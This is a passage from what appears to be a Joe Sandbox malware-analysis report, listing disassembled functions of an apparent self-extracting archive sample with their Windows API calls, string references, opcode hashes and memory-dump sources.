Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: ByteCharFileH_prologModuleMultiNameWide_wcschr
String ID: *messages***$*messages***$R$a
API String ID: 803915177-2900423073
Opcode ID: a7609f3adef6dc0c80a01599514e18c2d4185f0e5aaaaccbf3d2486e1813cdd3
Instruction ID: e2f7ffbac67bf556e01f7446eed6ad91748f6b48845bd72b78bf9e31eb13976d
Opcode Fuzzy Hash: a7609f3adef6dc0c80a01599514e18c2d4185f0e5aaaaccbf3d2486e1813cdd3
Instruction Fuzzy Hash: BE9149B19006069ADB34DFA8CC45BEEB775EF64300F10496BE649E7391DB709981CBD0

Function 001F73AE Relevance: 9.2, APIs: 6, Instructions: 216
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,001F2FC2,001F2FC2,?,?,?,001F75FF,00000001,00000001,F5E85006), ref: 001F7408
MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,?,001F75FF,00000001,00000001,F5E85006,?,?,?), ref: 001F748E
WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,F5E85006,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 001F7588
__freea.LIBCMT ref: 001F7595

Part of subcall function 001F59FC: RtlAllocateHeap.NTDLL(00000000,?,?,?,001F23AA,?,0000015D,?,?,?,?,001F2F29,000000FF,00000000,?,?), ref: 001F5A2E

__freea.LIBCMT ref: 001F759E
__freea.LIBCMT ref: 001F75C3

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: ByteCharMultiWide__freea$AllocateHeap
String ID:
API String ID: 1414292761-0
Opcode ID: c8037620b94e850eb98c1c020e28407be92e9f58cbd8a7dadc889f97ac57a7bd
Instruction ID: 47bd9bbf33e1c2d6fad3c6fe18aefecf7ad3eda51f3615d8193cc534c519e8cd
Opcode Fuzzy Hash: c8037620b94e850eb98c1c020e28407be92e9f58cbd8a7dadc889f97ac57a7bd
Instruction Fuzzy Hash: 9451E27260421EABEB298F64DC85EBF77AAEB44750F154628FE05D71E0EB74DC40C6A0

Function 001E9036 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 35
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 001DF309: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 001DF324
Part of subcall function 001DF309: LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,001DDEC8,Crypt32.dll,?,001DDF4A,?,001DDF2E,?,?,?,?), ref: 001DF346

OleInitialize.OLE32(00000000), ref: 001E904F
GdiplusStartup.GDIPLUS(?,?,00000000), ref: 001E9086
SHGetMalloc.SHELL32(002120E8), ref: 001E9090

Strings

3vo, xrefs: 001E9067
riched20.dll, xrefs: 001E903E

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: DirectoryGdiplusInitializeLibraryLoadMallocStartupSystem
String ID: riched20.dll$3vo
API String ID: 3498096277-646756056
Opcode ID: 4bbfb964d79f371a01fbe547abf8166cb3729b48f25a55c578a4728749786511
Instruction ID: dafa7b1274c5ca311cc658aa0050da340c8bc3ffd0cd336ca2e0147683f99c3d
Opcode Fuzzy Hash: 4bbfb964d79f371a01fbe547abf8166cb3729b48f25a55c578a4728749786511
Instruction Fuzzy Hash: C4F04FB1D00209ABC710AF9AEC499EEFFFCEF94300F00415AE804E2241D7B80655CBA1

Function 001DF9D1 Relevance: 7.5, APIs: 5, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 001DFDC9: ResetEvent.KERNEL32(?,?,001DF9F3,00721DE0,?,00211E74,00000000,001FF79B,000000FF,000001B8,001DFC8F,?,?,?,?,001DA5A0), ref: 001DFDE9
Part of subcall function 001DFDC9: ReleaseSemaphore.KERNEL32(?,?,00000000,?,?,?,?,001DA5A0,?,?,?,?,001FF79B,000000FF), ref: 001DFDFD

ReleaseSemaphore.KERNEL32(?,00000020,00000000), ref: 001DFA05
CloseHandle.KERNEL32(?,?), ref: 001DFA1F
DeleteCriticalSection.KERNEL32(?), ref: 001DFA38
CloseHandle.KERNELBASE(?), ref: 001DFA44
CloseHandle.KERNEL32(?), ref: 001DFA50

Part of subcall function 001DFAC7: WaitForSingleObject.KERNEL32(?,000000FF,001DFD0B,?,?,001DFD80,?,?,?,?,?,001DFD6A), ref: 001DFACD
Part of subcall function 001DFAC7: GetLastError.KERNEL32(?,?,001DFD80,?,?,?,?,?,001DFD6A), ref: 001DFAD9

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: CloseHandle$ReleaseSemaphore$CriticalDeleteErrorEventLastObjectResetSectionSingleWait
String ID:
API String ID: 1868215902-0
Opcode ID: ae773b7f1953152d9d0cdfd0693fc8af7efbf26a728393c70a7189c106fc4fa6
Instruction ID: 0359126118dc463ed308c4059181393b6dda7b769d0d42ba8e1b57b8612c6d27
Opcode Fuzzy Hash: ae773b7f1953152d9d0cdfd0693fc8af7efbf26a728393c70a7189c106fc4fa6
Instruction Fuzzy Hash: 7F015E32440B44EFD7319B68ED89FD6BBEAFB45710F00452EF29E92661CB716801CB61

Function 001E8FC8 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 36
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetClassNameW.USER32(?,?,00000050), ref: 001E8FDF
SHAutoComplete.SHLWAPI(?,00000010), ref: 001E9016

Part of subcall function 001E0B12: CompareStringW.KERNEL32(00000400,00001001,00000000,000000FF,?,000000FF,001DAC49,?,?,?,001DABF8,?,-00000002,?,00000000,?), ref: 001E0B28

FindWindowExW.USER32(?,00000000,EDIT,00000000), ref: 001E9006

Strings

EDIT, xrefs: 001E8FEA, 001E8FF5, 001E9002

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: AutoClassCompareCompleteFindNameStringWindow
String ID: EDIT
API String ID: 4243998846-3080729518
Opcode ID: 735597f6598a3ecd0c95a3a771643bd60087f412f5bfce8fff6ba53785ee98e2
Instruction ID: 35684d81e8e42ab431662f9c441094b14e570ed08e356da08dc12086dce4f88e
Opcode Fuzzy Hash: 735597f6598a3ecd0c95a3a771643bd60087f412f5bfce8fff6ba53785ee98e2
Instruction Fuzzy Hash: B3F08232B0172867EB305A66AC09F9F76BCAB4AB11F840065FA00F21C2D7A09951C6E6

Function 001EBE0A Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 32
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetEnvironmentVariableW.KERNELBASE(sfxcmd,?), ref: 001EBE20
SetEnvironmentVariableW.KERNEL32(sfxpar,-00000002,00000000,?,?,?,00001000), ref: 001EBE5C

Strings

sfxcmd, xrefs: 001EBE1B
sfxpar, xrefs: 001EBE57

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: EnvironmentVariable
String ID: sfxcmd$sfxpar
API String ID: 1431749950-3493335439
Opcode ID: 08a2b4b4e1afb9b84bb223ab1e7da3e65f41d4e4275f5a5b6730b528fead610b
Instruction ID: 9ecddec3a4dcf293566dcdb9149dd92f91ccf2f12b8fe964380b4ef85edebd0e
Opcode Fuzzy Hash: 08a2b4b4e1afb9b84bb223ab1e7da3e65f41d4e4275f5a5b6730b528fead610b
Instruction Fuzzy Hash: C1F08272815664A6D7212B919C89AEF7B989F14B52B000052FD889A192DB644C50C6F0

Function 001D973D Relevance: 6.1, APIs: 4, Instructions: 99
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(?,?,?,00000000,00000003,-00000001,00000000,?,00000000,?,?,001D777A,?,00000005,?,00000011), ref: 001D97BD
GetLastError.KERNEL32(?,?,001D777A,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 001D97CA
CreateFileW.KERNEL32(?,?,?,00000000,00000003,?,00000000,?,?,00000800,?,?,001D777A,?,00000005,?), ref: 001D97FF
GetLastError.KERNEL32(?,?,001D777A,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 001D9807

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: CreateErrorFileLast
String ID:
API String ID: 1214770103-0
Opcode ID: e8fe465f9e0b7e479592a5d3a4f12df75ae292fbe1ed297b6c2917c0c9acc88f
Instruction ID: 4caee2c568105a5eea443e4d28adbb2fce24adb15154e68359df7d450e5e37c5
Opcode Fuzzy Hash: e8fe465f9e0b7e479592a5d3a4f12df75ae292fbe1ed297b6c2917c0c9acc88f
Instruction Fuzzy Hash: 903146718407556FE7209F249C49BEABBE4FB45324F10472AF990872D1D3759888DBD0

Function 001D9613 Relevance: 6.1, APIs: 4, Instructions: 57fileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F6), ref: 001D9623
ReadFile.KERNELBASE(?,?,00000001,?,00000000), ref: 001D963B
GetLastError.KERNEL32 ref: 001D966D
GetLastError.KERNEL32 ref: 001D968C

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: ErrorLast$FileHandleRead
String ID:
API String ID: 2244327787-0
Opcode ID: bf097616150199883537184941d07afc236bfd3e793b03653d0ae534234be9f5
Instruction ID: 1e7900898f087d2965de163f0ab4b87fc4e3f2e6c573ab9f2fc2055b2fbf3273
Opcode Fuzzy Hash: bf097616150199883537184941d07afc236bfd3e793b03653d0ae534234be9f5
Instruction Fuzzy Hash: FD118B70940204EFDF24AF61D844BAA77AEEB15321F10852BF96A86390D73ADD40CF51

Function 001F77D1 Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,001F2213,00000000,00000000,?,001F7778,001F2213,00000000,00000000,00000000,?,001F7975,00000006,FlsSetValue), ref: 001F7803
GetLastError.KERNEL32(?,001F7778,001F2213,00000000,00000000,00000000,?,001F7975,00000006,FlsSetValue,00203768,00203770,00000000,00000364,?,001F63F1), ref: 001F780F
LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,001F7778,001F2213,00000000,00000000,00000000,?,001F7975,00000006,FlsSetValue,00203768,00203770,00000000), ref: 001F781D

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID:
API String ID: 3177248105-0
Opcode ID: e9dd458036af5fa5ae92fa849dfea07f8102d023c0914eb5beeef155a350460e
Instruction ID: b12eb82cb43f3e0da35fe1b25b68ca4d307781fee7088181c9d105cc44e79f1f
Opcode Fuzzy Hash: e9dd458036af5fa5ae92fa849dfea07f8102d023c0914eb5beeef155a350460e
Instruction Fuzzy Hash: 4801D43261932AABD7614A68AC4CF7A7B99AF057E1B110624FA0AD7181D720D801C6E0

Function 001DFBB1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE(00000000,00010000,Function_0000FD61,?,00000000,00000000), ref: 001DFBD5
SetThreadPriority.KERNEL32(?,00000000), ref: 001DFC1C

Part of subcall function 001D6DD3: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 001D6DF1

Strings

CreateThread failed, xrefs: 001DFBE1

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: Thread$CreatePriority__vswprintf_c_l
String ID: CreateThread failed
API String ID: 2655393344-3849766595
Opcode ID: eb5459cfe3d19d6080704808da45141a97838fea76614cbf96f843906a8fe1bc
Instruction ID: 86476cdd5361739b12c26602e3d38c26402c34508297b0daaac61f665a468bc7
Opcode Fuzzy Hash: eb5459cfe3d19d6080704808da45141a97838fea76614cbf96f843906a8fe1bc
Instruction Fuzzy Hash: 7101DBB53447096FE3206F98AC86F66B75AEB55715F20043FF942922C1CFE168528620

Function 001D9BC8 Relevance: 4.6, APIs: 3, Instructions: 96fileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F5,?,?,001DC853,00000001,?,?,?,00000000,001E420B,?,?,?,?,?,001E3CB0), ref: 001D9BE3
WriteFile.KERNEL32(?,00000000,?,001E3EB8,00000000,?,?,00000000,001E420B,?,?,?,?,?,001E3CB0,?), ref: 001D9C23
WriteFile.KERNELBASE(?,00000000,?,001E3EB8,00000000,?,00000001,?,?,001DC853,00000001,?,?,?,00000000,001E420B), ref: 001D9C50

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: FileWrite$Handle
String ID:
API String ID: 4209713984-0
Opcode ID: 04d906f0d90d37533d1c3c32b4bf3f1aea26fc1bee20843cad83db43c74dbd8d
Instruction ID: a9c6f2764d876c0743a63e3eb5232a7a7c79608ff45510d3ae263ddb8904a1ff
Opcode Fuzzy Hash: 04d906f0d90d37533d1c3c32b4bf3f1aea26fc1bee20843cad83db43c74dbd8d
Instruction Fuzzy Hash: A43122B1218705AFEB209F24E848FA6FBA8FB51700F00421BF595933D1C775E848CBA2

Function 001D9E86 Relevance: 4.6, APIs: 3, Instructions: 56COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(?,00000000,?,?,?,001D9D92,?,00000001,00000000,?,?), ref: 001D9EAD
CreateDirectoryW.KERNEL32(?,00000000,?,?,00000800,?,?,?,?,001D9D92,?,00000001,00000000,?,?), ref: 001D9EE0
GetLastError.KERNEL32(?,?,?,?,001D9D92,?,00000001,00000000,?,?), ref: 001D9EFD

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: CreateDirectory$ErrorLast
String ID:
API String ID: 2485089472-0
Opcode ID: 7a235725f456dd107a9786f899a33d279255f9635584f3ea5dc0c9b5ed650fff
Instruction ID: 67a841757dc8cc8f1eb583a44ad46ab46d3b39678aee6e40828d227108d5cad0
Opcode Fuzzy Hash: 7a235725f456dd107a9786f899a33d279255f9635584f3ea5dc0c9b5ed650fff
Instruction Fuzzy Hash: 8601F77210025866EF21EFA85C89FFF3B4D9F16741F080457F849E6291DB64CD8196F2

Function 001D3AA3 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 174COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 001D3AA8

Strings

CMT, xrefs: 001D3AB7

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: H_prolog
String ID: CMT
API String ID: 3519838083-2756464174
Opcode ID: e39d4c9a0f754b12bddf46ffa440bbe14c29598d3e07ec8af0f5b350db886e45
Instruction ID: 15de6087f2a76c08269814bf169c8349440c24dc4233e15b4e9df549e6209cb2
Opcode Fuzzy Hash: e39d4c9a0f754b12bddf46ffa440bbe14c29598d3e07ec8af0f5b350db886e45
Instruction Fuzzy Hash: 8261B171500F44AEDB25DB74CC41AEBB7E9AF24301F44496FE1AB87242DB326A48CF51

Function 001F82C3 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 132COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(5EFC4D8B,?,00000005,?,00000000), ref: 001F82E8

Strings

, xrefs: 001F832D

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: Info
String ID:
API String ID: 1807457897-3916222277
Opcode ID: 6b2b3e1b099d876c8d3e57856aa6633a998b02a12c83cf3fa5b7439fd82477b8
Instruction ID: 8ed4b2488f4b5b6ceb544dc91325d8916192674337d0168faa988b24672c9ad9
Opcode Fuzzy Hash: 6b2b3e1b099d876c8d3e57856aa6633a998b02a12c83cf3fa5b7439fd82477b8
Instruction Fuzzy Hash: 6141387090439C9EDF268E288C94BFABBE9EB55704F5404ECE68A87142D735AA45DF20

Function 001D1DA1 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 75COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 001D1DA6

Part of subcall function 001D3AA3: __EH_prolog.LIBCMT ref: 001D3AA8

Strings

CMT, xrefs: 001D1DDC

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: H_prolog
String ID: CMT
API String ID: 3519838083-2756464174
Opcode ID: 651e8dc0841be12b53d8546dc0c024df37886bd53861257b2a192bc382ed9491
Instruction ID: cbfd2d512a54177e3789ae12810ed352bdcb5f357ad32ef06f8ee9f6e0370d08
Opcode Fuzzy Hash: 651e8dc0841be12b53d8546dc0c024df37886bd53861257b2a192bc382ed9491
Instruction Fuzzy Hash: F6214836904209AFCF16EF98D9419EEFBF6BF6C300B10006EE845A3261CB325E51CB60

Function 001D18FB Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 001D18FB

Strings

CMT, xrefs: 001D1974

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: H_prolog
String ID: CMT
API String ID: 3519838083-2756464174
Opcode ID: e7533578afd6968acaa04178b60efe6e1ea5819cb0c3944a44b9fe0a58c0d9f1
Instruction ID: 3e844caa33b8ca124dc8ea8a378e78de0389c5846fbf6623002aae947b63e568
Opcode Fuzzy Hash: e7533578afd6968acaa04178b60efe6e1ea5819cb0c3944a44b9fe0a58c0d9f1
Instruction Fuzzy Hash: 9A1103B1A00202BFDB08DF65C8A49BFF7AABF95304F08501BE81597342DB309851CBA0

Function 001F7A09 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

LCMapStringW.KERNEL32(00000000,?,00000000,?,?,?,?,?,?,?,?,?,F5E85006,00000001,?,000000FF), ref: 001F7A7A

Strings

LCMapStringEx, xrefs: 001F7A1A, 001F7A24

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: String
String ID: LCMapStringEx
API String ID: 2568140703-3893581201
Opcode ID: 67acbbcbd56bd2ef877685a7799fa75574a65ab793712c688a739229519982d1
Instruction ID: 8555d9d3e304c85cc1ee0ec8b0b2ccadbac7dc0272a5476651ee1f77e4ffe876
Opcode Fuzzy Hash: 67acbbcbd56bd2ef877685a7799fa75574a65ab793712c688a739229519982d1
Instruction Fuzzy Hash: F801E97654430DBBCF029F90DC4AEEE7F66EF48750F054115FE19661A1C7729A31AB80

Function 001F79A7 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 34COMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(?,?,001F709A), ref: 001F79F2

Strings

InitializeCriticalSectionEx, xrefs: 001F79C2

Memory Dump Source

